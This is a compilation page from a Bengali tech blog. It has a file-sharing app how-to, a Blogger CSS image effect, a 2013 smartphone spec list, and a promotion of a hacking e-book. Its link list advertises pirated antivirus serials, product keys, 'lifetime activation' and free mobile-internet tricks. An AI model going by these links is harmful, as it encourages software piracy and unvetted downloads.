*আপনি নিজে নিজেই কোড ক্রিয়েট করতে পারবেন অর্থাৎ কোন ধরনের এড,কত সাইজের এড ইত্যাদি ইত্যাদি।
*যে কোন সমস্যায় তাদেরকে আপনি জানাতে পারেন।তারা সমাধান দেয়(আমি নিজেই তাদের সাথে ইমেইল যোগাযোগ রাখি)
এককথায় তারা প্রচুর সুবিধা দিয়ে থাকে।

চিতিকাতে আপনার একাউন্ট না থাকলে chitika.com এ গিয়ে একাউন্টের আবেদন করতে পারেন।

You may also like -


>>সবগুলো অ্যান্টিভাইরাস এর সিরিয়াল ও লাইসেন্স কী এক জায়গায়

>> কিভাবে একটি ওয়েবসাইট চালু করবেন ?

>>TuneUp Utilities 2014 ফুল ভার্সন – সাথে প্রোডাক্ট কী । আপনার পিসিকে করবে গতিময়

>> Right click disable না করেই আপনার সাইট থেকে কপি করা ব্লক করুন

>> টাইম সিলেক্ট করে দিন – আপনার কম্পিউটার অটোমেটিক বন্ধ হবে

>> প্রক্সি সার্ভার এর লিস্ট – এবার আইপি হাইড করে ভিজিট করুন যে কোন ওয়েবসাইট এ ।

>> গ্রামীন ফোন এর ফ্রী ইন্টারনেট ব্যবহার করুন- উপভোগ করুন ফুল স্পীড ডাউনলোড

>> কিভাবে গুগল ক্রোম ডাউনলোড করবেন

>> ক্রেডিট কার্ড ছাড়াই কিভাবে Apple ID খুলবেন ।

>> ESET Smart Security 6 সাথে Lifetime Activation

>> বাংলাদেশের সব অপারেটরে ফ্রী এস.এম.এস পাঠান

>> ৭ টি মন মুগ্ধকর ছবি- আপনার মনকে ভাল করার ক্ষুদ্র প্রয়াস


আমাদের আই.টি বিষয়ক নতুন ব্লগ সাইট

সবাই কেমন আছেন? আশা করি ভাল আছেন। আমরা তথ্য ও প্রযুক্তি (আই.টি) বিষয়ক একটি নতুন ব্লগ সাইট (সম্পূর্ণ বাংলায়) করেছি । Bangla Blog

এই সাইটের মাধ্যমে সবাই তথ্য ও প্রযুক্তির (আই.টি) জ্ঞান শেয়ার করতে পারবেন। এখানে আপনারা আই.টি বিষয়ক টিপস দিতে পারবেন। এই সাইটে বেসিক কম্পিউটার, ইলেক্ট্রনিক্স, ইন্টারনেট ইত্যাদি সহ অনেক বিভাগ রয়েছে। যেখানে আপনাদের আই.টি বিষয়ক যে কোন সমস্যার কথা এখানে লিখতে পারেন, এবং যাদের উক্ত সমস্যাটির সমাধান জানা আছে তারা সমাধানটি দিতে পারবে। ফলে আমাদের সকলের মধ্যে আই.টি জ্ঞানের বিস্তার ঘটবে। প্রিয় বন্ধু কম্পিউটার এর কোন সমস্যা আমরা নিজেরাই সমাধান করতে পারবো। এই ভাবে আমরা আই.টির জ্ঞান ও বাড়াতে পারবো। সাইটটি সম্পূর্ন বাংলাতে তৈরী করা। ফলে এর ব্যবহার অতি সহজেই যে কেউ বুঝতে পারবে। এই ব্যাপারে আপনাদের সাহায্য আমাদের একান্ত কাম্য। এর জন্য প্রথমে আপনাকে এই সাইটের সদস্য হতে হবে।
সদস্য মেনু এর নিচের সদস্য হোন বাটনে ক্লিক করে সদস্য তথ্যপ্রদান করে আপনি সদস্য হতে পারবেন।
আপনাদের সবাইকে আমাদের সাইটে আমন্ত্রন থাকলো। সবাইকে ধন্যবাদ।

ব্লু-টুথ ছাড়াই অ্যান্ড্রয়েড দিয়ে যেকোন বড় ফাইল শেয়ার করুন কয়েক মিনিটে

আমরা সাধারণত মোবাইল দিয়ে ফাইল ট্রান্সফার করি ব্লুটুথ এর মাধ্যমে । বর্তমানে অনেক উন্নত ক্ষমতা সম্পন্ন ব্লুটুথ ডিভাইস বেড় হয়েছে । কিন্তু তা কয়জনের হাতেই বা আছে । আমি অসুস্থ তাই বেশি কিছু বলব না তাই টাইটেলে যা দেখেছেন তাই নিয়ে সরাসরি আলোচনা করি।
আপনি কত বড় ফাইল শেয়ার করতে চান সেটা বড় কথা না । সেটা যত বড়ই ফাইল হোক না কেন, শেয়ার করতে সময় নিবে মাত্র কয়েক মিনিট ।
আর এটি করা যায় ‘জাপিয়া’ (Zapya) নামক ছোট্ট একটি অ্যাপ ব্যবহার করে । আবার এটি ব্যবহার করে মাল্টিপ্লেয়ার গেমস্ও (Multiplayer Games) খেলা যায় । অবশ্যই উভয় ডিভাইসেই এই অ্যাপটি (App) ইনস্টল করতে হবে।

কর্ম পদ্ধতিঃ

  • ১. অ্যাপটি ডাউনলোড করে ইনস্টল করুন, (এখান থেকে )
  • ২. এরপর ওপেন করুন,
  • ৩. স্লাইডিং করুন,
  • ৪. আপনার নাম দিয়ে এ্যাভাটার (Avatar) সিলেক্ট করুন এবং নেক্সট চাপুন,
  • ৫. কানেক্ট-টু-ফ্রেন্ডস্ (Connect To Friends) বাটনে চাপুন,
  • ৬. ক্রিয়েট গ্রুপ (Create Group) বাটনে চাপুন,
  • ৭. আই সি (I See) অংশে চাপুন,
  • ৮. ওয়েটিং ফর ফ্রেন্ডস্ (Waiting For Friends) বার্তাটি দেখাবে,
  • ৯. যে নামটি দেখাবে তা সিলেক্ট করুন,
  • ১০. অপর অংশে থাকা ফোনটিতে কানেক্ট- টু-ফ্রেন্ডস্ বাটনে চাপুন,
  • ১১. ব্যবহারকারীর নাম দেখাবে নামের উপর চাপুন,
  • ১২. সবশেষে যা শেয়ার করতে চান, তার উপর প্রেস করলে একটি উইন্ডো দেখাবে তাতে সেন্ড অপশনটি সিলেক্ট করুন

ডাউনলোড

অ্যাপটি ডাউনলোড করার জন্য এখানে ক্লিক করুন
ধন্যবাদ!
ফেসবুকে আমি

হ্যাকিং শিখার বাংলা বই হ্যাকিং জগৎ (প্রথম খণ্ড)

 হ্যাকিং শিখার বাংলা বই

“হ্যাকিং জগৎ” 

হ্যাকিং শব্দটির মধ্যেই রয়েছে একটা ঐশ্বর্য্যকর ভাবমুর্তি। শব্দটার মধ্যেই রয়েছে দম্ভ। ছোট্ট বাচ্চা খেকে শুরু করে বৃদ্ধ সবারই হ্যাকিং শেখার আগ্রহ অত্যাধিক। আর এর নিরিক্ষে কাজ করে একটাই, নিজেকে হ্যাকার তৈরি করার দম্ভ। তবে হ্যাকিং দু-দিক থেকে উঠে আসে আমাদের সামনে এক হ্যাকিং শিখে অন্যের ক্ষতি করা দুই নিজেকে হ্যাকারের কাজ থেকে বাঁচানো। প্রথমটি অবশ্যই দন্ডনীয় আপরাধ, তবুও এটার প্রতি আগ্রহ অনেকাংশই বেশী। হ্যাকার হতে হলে অবশ্যই কোডিং এ দক্ষ  হতে হবে যেটা হল বেসিক হ্যাকিংয়ের প্রথম কাজ। তাই আপনাদের হ্যাকিংয়ের কিছু প্রাথমিক ধারনা দিতে আমাদের সামনে হাজির। বাংলাদেশেই আমাদের সামনে অনেক হ্যাকার রয়েছে,যাদের দক্ষতার পরিচয় মাঝে মাঝে খবরের শিরোনাম হয়। যদিও বর্তমানে হাতেগোনা হ্যাকিং প্রেমিক কয়েকজন ব্লগার সাধ্যমতো চেষ্টা করতেছে বাংলায় হ্যাকিংয়ের পরিচিতির জন্য। কিন্তু সব লেখাগুলো একত্রে পাওয়া যায় না,ফলে তা সংগ্রহে রাখা কষ্টকর। সকলের সুবিধার জন্য আমরা হ্যাকিং এর কিছু হাতে খড়ি আপনাদের মাঝে ছড়িয়ে দেওয়ার লক্ষ্যে একটি প্রোজেক্ট নিয়েছি যার নাম হ্যাকিং জগৎ ।

যা যা থাকবে একনজর দেখে নিন

ffff হ্যাকিং শিখার বাংলা বই হ্যাকিং জগৎ (প্রথম খণ্ড)
বইটি আপাতত এর প্রথম সংস্করনে আছে।এখানে হ্যাকিংয়ের টিউটোরিয়াল গুলোকে উদাহরণ ও ছবিসহ সহজভাবে উপস্থাপন করার চেষ্টা করা হয়েছে। হ্যাকিং একটি অনেক বিশাল কনসেপ্ট,যা একটি মাত্র বইয়ে সংকলন করা সম্ভব নয়। তাই আমরা এর আরও খণ্ড এবং সংস্করণ সামনে বের করব।এজন্য আপনাদের মতামত,অভিযোগ,পরামর্শ প্রয়োজন।
যেহেতু এটি আমাদের প্রথম প্রচেষ্টা তাই এতে শব্দগত বা ভাষাগত ভুল থাকতে পারে। আমাদের এসব ভুল গুলো ধরিয়ে দিয়ে ২য় সংস্করণকে আরও প্রাঞ্জল করতে সাহায্য করবেন। ২য় সংস্করণে আমরা আরও কিছু হ্যাকিং মেথড নিয়ে আলোচনা করব।আশা করি আপনাদেরকে পাশে পাব।
 হ্যাকিং শিখার বাংলা বই হ্যাকিং জগৎ (প্রথম খণ্ড)
পাসওয়ার্ডঃ faruk
আমি আছি ফেসবুকে
ভাল লাগলে কমেন্ট করতে ভুলবেন না
সবাই কে ধন্যবাদ ।

এক ক্লিকে ডিলিট করুন temp, %temp%, prefetch, recent ফাইল

সালাম বস,
আমার মনে হয় temp, %temp%, prefetch, recent কমান্ড গুলো অনেকে মনে রাখতে পারেন না। মনে থাকলেও বার বার লিখে কাজ করতে একটু হলেও ঝামেলা । কিন্তু আমি আপনাদের একটি সফটওয়্যার দিচ্ছি মাত্র ৩২ কিলোবাইট যা ‍দিয়ে আপনি মাত্র একটা ক্লিক করবেন আর সব ফাইল আপনার সামনে এসে হাজির হবে। শুধু ধরে ধরে ডিলিট করবেন। সরাসরি ড্রপবক্স লিংক।
ডাউনলোড
ধন্যবাদ সবাইকে।এই পোস্টটি পূর্বে এখানে প্রকাশিত হয়েছে।

ব্লগার ব্লগ এর ফটোতে যুক্ত করুন এক অসাধারন ইফেক্ট । সময় করে দেখুন ভাল লাগবে ।

বন্ধুরা সবাই ভাল আছেন তো আল্লাহ্‌ এর কাছে দোয়া করি যাতে ভাল থাকেন । তবে আমি কিন্তু ভাল নাই কারণ চোখের সমস্যা টা আবার খুব বেরেছে । যাই হোক এতো কষ্টের মধ্যেও আপনাদের জন্য নিয়মিত পোস্ট করে যাছি । আজকে আমি আপনাদের জন্য নিয়ে এলাম একটি দারুন ইফেক্ট পোস্ট এর ফটোতে । এটা দেখতে সত্যি খুব সুন্দর বিশ্বাস না হলে নীচে থেকে ডেমো দেখে আসুন ।


                                                                                                                    :lol:  LIVE DEMO  :lol:
১) আপনার ব্লগ লগ ইন করুন তারপর Template এ ক্লিক করে Edit HTML এ ক্লিক করুন
২) এবার কীবোর্ড এর Ctrl+F প্রেস করে নীচের কোডটি খুজে বের করুন ।
]]></b:skin>
৩) এবার উপরের কোডটি খুজে পেলে তার ঠিক উপরে নীচের কোডটি কপি করে পেস্ট করুন ।
* Post Image Shadow Effect by http://www.asobondhu.blogspot.com */
.post img:hover {
-moz-transform: scale(1.2) rotate(-350deg);
-webkit-transform: scale(1.2) rotate(-350deg);
-o-transform: scale(1.2) rotate(-350deg);
-ms-transform: scale(1.2) rotate(-350deg);
transform: scale(1.2) rotate(-350deg);
-webkit-box-shadow: 0 0 20px #FF0000;
-moz-box-shadow: 0 0 20px #FF0000;
box-shadow: 0 0 20px #FF0000;
}
নোট  ঃ উপরে কালার কোড গুল পরিবর্তন করে সেখানে আপনার ইছা মতো কালার কোড দিয়ে দিতে পারেন । কালার কোড পেতে এখানে ক্লিক করুন । 
৪) এবার Save Template এ ক্লিক করে সেভ করে নিন । :)


* ব্যাস এবার আপনার ব্লগে গিয়ে দেখুন । আশাকরি কাজ হবে যদি কোন সমস্যা হয় আমাকে জানবেন আমি হেল্প করতে চেষ্টা করবো । 
* তাহলে আজকের মতো এই পর্যন্ত আবারও দ্যাখা হবে ভাল থাকবেন সুস্থ থাকবেন আমার জন্য দোয়া করবেন । আল্লাহ্‌ হাফেজ । 
* পোস্ট টি আমার দ্বারা পূর্বে প্রকাশিত এখানে সমায় পেলে ঘুরে আসুন ।
* এই ধরনের আরও নতুন নতুন পোস্ট পেতে ভিজিট করতে পারেন এখানে । আমার ফেসবুক ফ্যান পেজ এখানে সময় পেলে ঘুরে আসুন ।

World Top Ten SmartPhone 2013 (2013 সালের বিশ্বের জনপ্রিয় 10টি স্মার্টফোন)

সবাইকে সালাম জানিয়ে শরু করছি। কিছু ভুল হলে ক্ষমা সুন্দর দৃষ্টিতে দেখবেন। পূর্বে যদি কেউ এই বিষয়ে টিউন করে থাকেন আমি দুখি:ত।স্মাট ফোনের ব্যবহার দিনদিন বেড়েই চলছে। আমরা সবাই কোন না কোন ব্যান্ড এর স্মার্ট ফোন ব্যবহার করি। বিশ্বের জনপ্রিয় 10টি স্মার্টফোন নিয়ে এই টিউনটি। চলুন দেখা যাক..................

01। HTC One: 


Features:

OSAndroid OS, v4.1.2 (Jelly Bean), upgradable to v4.2.2 (Jelly Bean)
ChipsetQualcomm APQ8064T Snapdragon 600
CPUQuad-core 1.7 GHz Krait 300
GPUAdreno 320
SensorsAccelerometer, gyro, proximity, compass
Camera:
Primary4 MP, 2688 x 1520 pixels, autofocus, LED flash.
Features1/3'' sensor size, 2µm pixel size, simultaneous HD video and image recording, geo-tagging, face and smile detection, optical image stabilization
VideoYes, 1080p@30fps, 720p@60fps, HDR, stereo sound rec., video stabilization.
SecondaryYes, 2.1 MP, 1080p@30fps, HDR
Memory:
Card slotNo
Internal32/64 GB, 2 GB RAM
Display:
TypeSuper LCD3 capacitive touchscreen, 16M colors
Size1080 x 1920 pixels, 4.7 inches (~469 ppi pixel density)
MultitouchYes
ProtectionCorning Gorilla Glass 2

- HTC Sense UI v5
02.IPHONE 5s:

Features:

iOS 7.0.1
Apple A7
Dual-core 1.3 GHz Cyclone (ARM v8-based)
PowerVR G6430 (quad-core graphics)
Accelerometer, gyro, proximity, compass
Camera :
8 MP, 3264x2448 pixels, autofocus, dual-LED (True Tone) flash.
1/3'' sensor size, 1.5 µm pixel size, simultaneous HD video and image recording, touch focus, geo-tagging, face detection, HDR panorama, HDR photo
Yes, 1080p@30fps, 720p@120fps, advanced video stabilization.
Yes, 1.2 MP, 720p@30fps, face detection, FaceTime over Wi-Fi or Cellular
 Memory:
No
16/32/64 GB storage, 1 GB RAM DDR3
 Display:
LED-backlit IPS LCD, capacitive touchscreen, 16M colors
640 x 1136 pixels, 4.0 inches (~326 ppi pixel density)
Yes
Corning Gorilla Glass, oleophobic coating

03. LG G2


Features:

Android OS, v4.2.2 (Jelly Bean)
Qualcomm MSM8974 Snapdragon 800
Quad-core 2.26 GHz Krait 400
Adreno 330
Accelerometer, gyro, proximity, compass
Camera:
13 MP, autofocus, LED flash.
Simultaneous video and image recording, geo-tagging, face detection, optical image stabilization, HDR
Yes, 1080p@60fps, HDR, stereo sound rec., video stabilization.
Yes, 2.1 MP, 1080p@30fps
Memory:
No
16/32 GB, 2 GB RAM
Display:
True HD-IPS + LCD capacitive touchscreen, 16M colors
1080 x 1920 pixels, 5.2 inches (~424 ppi pixel density)
Yes
Corning Gorilla Glass 2

04. Samsung Galaxy S4:


Features:

Android OS, v4.2.2 (Jelly Bean)
Exynos 5 Octa 5410
Quad-core 1.6 GHz Cortex-A15 & quad-core 1.2 GHz Cortex-A7
PowerVR SGX 544MP3
Accelerometer, gyro, proximity, compass, barometer, temperature, humidity, gesture
Camera:
13 MP, 4128 x 3096 pixels, autofocus, LED flash.
Dual Shot, Simultaneous HD video and image recording, geo-tagging, touch focus, face and smile detection, image stabilization, HDR
Yes, 1080p@30fps, dual-video rec.
Yes, 2 MP,1080p@30fps, dual video call
Memory:
microSD, up to 64 GB
16/32/64 GB storage, 2 GB RAM
Display:
Super AMOLED capacitive touchscreen, 16M colors
1080 x 1920 pixels, 5.0 inches (~441 ppi pixel density)
Yes
Corning Gorilla Glass 3

- TouchWiz UI

05. Nexus 4


Features:

OS
Android OS, v4.2 (Jelly Bean), upgradable to v4.3 (Jelly Bean)
Chipset
Qualcomm APQ8064 Snapdragon
CPU
Quad-core 1.5 GHz Krait
GPU
Adreno 320
Sensors
Accelerometer, gyro, proximity, compass, barometer
Camera:
Primary
8 MP, 3264 x 2448 pixels, autofocus, LED flash.
Features
Geo-tagging, touch focus, face detection, photo sphere
Video
Yes, 1080p@30fps.
Secondary
Yes, 1.3 MP
Memory:
Card slot
No
Internal
8/16 GB storage, 2 GB RAM
Display:
Type
True HD IPS Plus capacitive touchscreen, 16M colors
Size
768 x 1280 pixels, 4.7 inches (~318 ppi pixel density)
Multitouch
Yes
Protection
Corning Gorilla Glass 2

06.Sony Xperia Z


Features:

OS
Android OS, v4.1.2 (Jelly Bean), upgradable to v4.2.2 (Jelly Bean)
Chipset
Qualcomm MDM9215M / APQ8064
CPU
Quad-core 1.5 GHz Krait
GPU
Adreno 320
Sensors
Accelerometer, gyro, proximity, compass
Camera:
Primary
13.1 MP, 4128x3096 pixels, autofocus, LED flash.
Features
Geo-tagging, touch focus, face detection, image stabilization, HDR, sweep panorama
Video
Yes, 1080p@30fps, video stabilization, HDR.
Secondary
Yes, 2.2 MP, 1080p@30fps
Memory:
Card slot
microSD, up to 64 GB
Internal
16 GB, 2 GB RAM
Display:
Type
TFT capacitive touchscreen, 16M colors
Size
1080 x 1920 pixels, 5.0 inches (~441 ppi pixel density)
Multitouch
Yes, up to 10 fingers
Protection
Shatter proof and scratch-resistant glass

- Sony Mobile BRAVIA Engine 2

07. Samsung Galaxy Note II


Features:


OS
Android OS, v4.1.1 (Jelly Bean), upgradeable to 4.1.2 (Jelly Bean)
Chipset
Exynos 4412 Quad
CPU
Quad-core 1.6 GHz Cortex-A9
GPU
Mali-400MP
Sensors
Accelerometer, gyro, proximity, compass, barometer
Camera:
Primary
8 MP, 3264x2448 pixels, autofocus, LED flash.
Features
Simultaneous HD video and image recording, geo-tagging, touch focus, face and smile detection, image stabilization
Video
Yes, 1080p@30fps.
Secondary
Yes, 1.9 MP
Memory:
Card slot
microSD, up to 64 GB
Internal
16/32/64 GB storage, 2 GB RAM
Display
Type
Super AMOLED capacitive touchscreen, 16M colors
Size
720 x 1280 pixels, 5.5 inches (~267 ppi pixel density)
Multitouch
Yes

- TouchWiz UI

08. Samsung Galaxy S4 Active:


Features:

OS
Android OS, v4.2.2 (Jelly Bean)
Chipset
Qualcomm APQ8064T Snapdragon 600
CPU
Quad-core 1.9 GHz Krait 300
GPU
Adreno 320
Sensors
Accelerometer, gyro, proximity, compass, barometer, gesture
Camera:
Primary
8 MP, 3264 x 2448 pixels, autofocus, LED flash.
Features
Simultaneous HD video and image recording, geo-tagging, touch focus, face and smile detection, image stabilization, HDR, Aqua mode
Video
Yes, 1080p@30fps.
Secondary
Yes, 2 MP,1080p@30fps
Memory:
Card slot
microSD, up to 64 GB
Internal
16 GB (11.2 GB user available), 2 GB RAM
Display:
Type
TFT capacitive touchscreen, 16M colors
Size
1080 x 1920 pixels, 5.0 inches (~441 ppi pixel density)
Multitouch
Yes
Protection
Corning Gorilla Glass 2

- TouchWiz UI

09.Sony Xperia Z1

Features:

OS
Android OS, v4.2 (Jelly Bean)
Chipset
Qualcomm MSM8974 Snapdragon 800
CPU
Quad-core 2.2 GHz Krait 400
GPU
Adreno 330
Sensors
Accelerometer, gyro, proximity, compass
Camera:
Primary
20.7 MP, autofocus, LED flash.
Features
1/2.3'' sensor size, geo-tagging, touch focus, face detection, image stabilization, HDR, panorama
Video
Yes, 1080p@30fps, video stabilization, HDR.
Secondary
Yes, 2 MP, 1080p@30fps
Memory:
Card slot
microSD, up to 64 GB
Internal
16 GB, 2 GB RAM
Display:
Type
TFT capacitive touchscreen, 16M colors
Size
1080 x 1920 pixels, 5.0 inches (~441 ppi pixel density)
Multitouch
Yes, up to 10 fingers
Protection
Shatter proof and scratch-resistant glass

- Triluminos display
- X-Reality Engine

10. Apple iPhone 5C

Features:

OS
iOS 7.0.1
Chipset
Apple A6
CPU
Dual-core 1.3 GHz Swift (ARM v7-based)
GPU
PowerVR SGX 543MP3 (triple-core graphics)
Sensors
Accelerometer, gyro, proximity, compass
Camera:
Primary
8 MP, 3264x2448 pixels, autofocus, LED flash.
Features
1/3.2'' sensor size, 1.4 µm pixel size, simultaneous HD video and image recording, touch focus, geo-tagging, face detection, HDR panorama, HDR photo
Video
Yes, 1080p@30fps, video stabilization.
Secondary
Yes, 1.2 MP, 720p@30fps, face detection, FaceTime over Wi-Fi or Cellula
Memory:

Card Slot

No
Internal
16/32 GB, 1 GB RAM DDR2
Display:
Type
LED-backlit IPS LCD, capacitive touchscreen, 16M colors

Size

640 x 1136 pixels, 4.0 inches (~326 ppi pixel density)
Multitouch
:       Yes

ধন্যবাদ সবাইকে ।